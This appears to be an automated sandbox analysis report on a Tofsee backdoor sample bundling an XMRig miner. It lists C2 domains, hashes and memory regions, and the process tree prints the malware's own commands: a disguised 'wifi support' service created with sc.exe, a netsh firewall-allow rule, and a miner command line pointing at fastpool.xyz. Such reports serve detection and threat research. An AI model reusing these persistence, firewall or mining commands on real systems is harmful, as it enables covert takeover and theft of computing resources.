Analysis

  • max time kernel
    144s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07/01/2023, 00:39

General

  • Target
    file.exe
  • Size 300KB
  • Sample230107-azma5scc96
  • SHA256 737b7f5ad5cd37f21b70be940353ebf31c17eb0ff9033d4555bf3e411399744e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2220
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\shwaerir\
      2⤵
        PID:2268
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\cfozzvvs.exe" C:\Windows\SysWOW64\shwaerir\
        2⤵
          PID:4372
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create shwaerir binPath= "C:\Windows\SysWOW64\shwaerir\cfozzvvs.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:5012
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description shwaerir "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4924
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start shwaerir
          2⤵
          • Launches sc.exe
          PID:1412
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2220 -s 1036
          2⤵
          • Program crash
          PID:1448
      • C:\Windows\SysWOW64\shwaerir\cfozzvvs.exe
        C:\Windows\SysWOW64\shwaerir\cfozzvvs.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4360
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1048
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1392
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4360 -s 552
          2⤵
          • Program crash
          PID:2508
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 452 -p 2220 -ip 2220
        1⤵
          PID:1340
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 4360 -ip 4360
          1⤵
            PID:1232

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                cfozzvvs.exe

                • Path C:\Users\Admin\AppData\Local\Temp\cfozzvvs.exe
                • Size 12.3MB
                • SHA256 f4ae3ce076fad0c2a78bd31100ad298e01d806502bbb91dcc0c0a3ac9d1342dc
                • MD5 SHA1 SHA512 SSDEEP

                cfozzvvs.exe

                • Path C:\Windows\SysWOW64\shwaerir\cfozzvvs.exe
                • Size 12.3MB
                • SHA256 f4ae3ce076fad0c2a78bd31100ad298e01d806502bbb91dcc0c0a3ac9d1342dc
                • MD5 SHA1 SHA512 SSDEEP

                memory/1048-152-0x0000000003000000-0x000000000320F000-memory.dmp

                memory/1048-161-0x00000000033F0000-0x00000000033F5000-memory.dmp

                memory/1048-164-0x0000000007F00000-0x000000000830B000-memory.dmp

                memory/1048-150-0x0000000001250000-0x0000000001265000-memory.dmp

                memory/1048-158-0x0000000003220000-0x0000000003230000-memory.dmp

                memory/1048-155-0x0000000003210000-0x0000000003216000-memory.dmp

                memory/1048-151-0x0000000001250000-0x0000000001265000-memory.dmp

                memory/1048-167-0x0000000008450000-0x0000000008457000-memory.dmp

                memory/1048-145-0x0000000001250000-0x0000000001265000-memory.dmp

                memory/1392-176-0x0000000000720000-0x0000000000811000-memory.dmp

                memory/1392-171-0x0000000000720000-0x0000000000811000-memory.dmp

                memory/2220-134-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/2220-132-0x0000000002EAD000-0x0000000002EC3000-memory.dmp

                memory/2220-143-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/2220-133-0x0000000002D80000-0x0000000002D93000-memory.dmp

                memory/4360-149-0x0000000000400000-0x0000000002C3D000-memory.dmp

                memory/4360-148-0x0000000002E09000-0x0000000002E1E000-memory.dmp